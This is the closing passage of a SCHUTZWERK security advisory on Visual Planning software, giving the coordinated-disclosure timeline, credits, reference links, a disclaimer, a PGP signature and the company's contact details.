2023-11-01: Vulnerability discovered 2023-11-09: Contact vendor in order to determine security contact 2023-11-10: Received generic sales response from vendor 2023-11-14: Contacted CTO of vendor directly 2023-11-16: Vulnerabilities demonstrated in call with contact at vendor 2023-11-24: CVE assigned by Mitre 2023-11-24: Additional technical details provided to vendor 2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress 2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities 2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed 2024-03-08: Sent advisory drafts to vendor 2024-03-28: Received patch information and release of advisory Contact/Credits =============== The vulnerability was discovered by Lennert Preuth of SCHUTZWERK GmbH. References ========== [0] https://www.visual-planning.com/en/ [1] https://app.swaggerhub.com/apis-docs/VisualPlanning/visual-planning_api_rest_v_2_0_us/2.0-oas3 [2] https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#sql-wildcard-injection [3] https://www.schutzwerk.com/en/43/assets/advisories/brute_vp_apikey.py Disclaimer ========== The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ). Additional information ====================== SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/ SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/ -----BEGIN PGP SIGNATURE----- iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0QkaHGFkdmlzb3Jp ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvAZhAArh5MI5kM1lTjcIPPMiDS VXJ51Z39qgcXySyrqrKslnP/2a/pfpakD8g161oOTSK/tt9Yd6L/6O5Vywe7Kx5V lkVw7bs9J0WCY8aYzJ9RxdALt7HexAG+USgbjFWFajdSNNJ8giBu3P3ZCE8/GbHJ 0bKd8AN88NKL954olnI6qGbbnOr/QXWuIOWAYF9wXLgEk992hszYgt7SJIrFHuX6 2TC4iWOv4+72HQiQ8QYXCAZZVBDr3mUPQRBSJ9AZ3x7mxtJtMg8DyW0OATNe9Qlq IUO7HFqrPwTQmFKf9whk8QD7/Y9dKTpAjlVzvXe49COqbjOzxmIe7muxwyVlOrqO J9ZqreOr/ENLUgYDBaTLSTAHdEFNeqRGPK3dG0yiRSi3dtavJwr8PN1L52qTqLzT C+Yrruu6Ac6pSin1Ea9WaXF+YS1ErRcbZxkRD5pS4s6V4NMkV4bDWlDtraQ0rDfL AA+TxtA25p34S2MV/b3qAiA66UjrXEb6IJVNx4Rx7X3+gcLgI2w7t3DQEVuPaB3k ltT1oV6ei7tqeQpn7usHzlfa6lq7Q3PIRpxYAo0g4kp4cVVblLRNWDpZMK+cBj1N MrGP2f50gbpYej/yYHsXNU2pMfbUPoSq3X8uwVCoLvaBSBWx7I3TM1hl0/3wBi/w phO+Bauh2QYGX2mFw/mduZM= =ycwQ -----END PGP SIGNATURE----- -- SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany Zertifiziert / Certified ISO 27001, 9001 and TISAX Phone +49 731 977 191 0 advisories@schutzwerk.com / www.schutzwerk.com Geschäftsführer / Managing Directors: Jakob Pietzka, Michael Schäfer Amtsgericht Ulm / HRB 727391 Datenschutz / Data Protection www.schutzwerk.com/datenschutz </code></pre>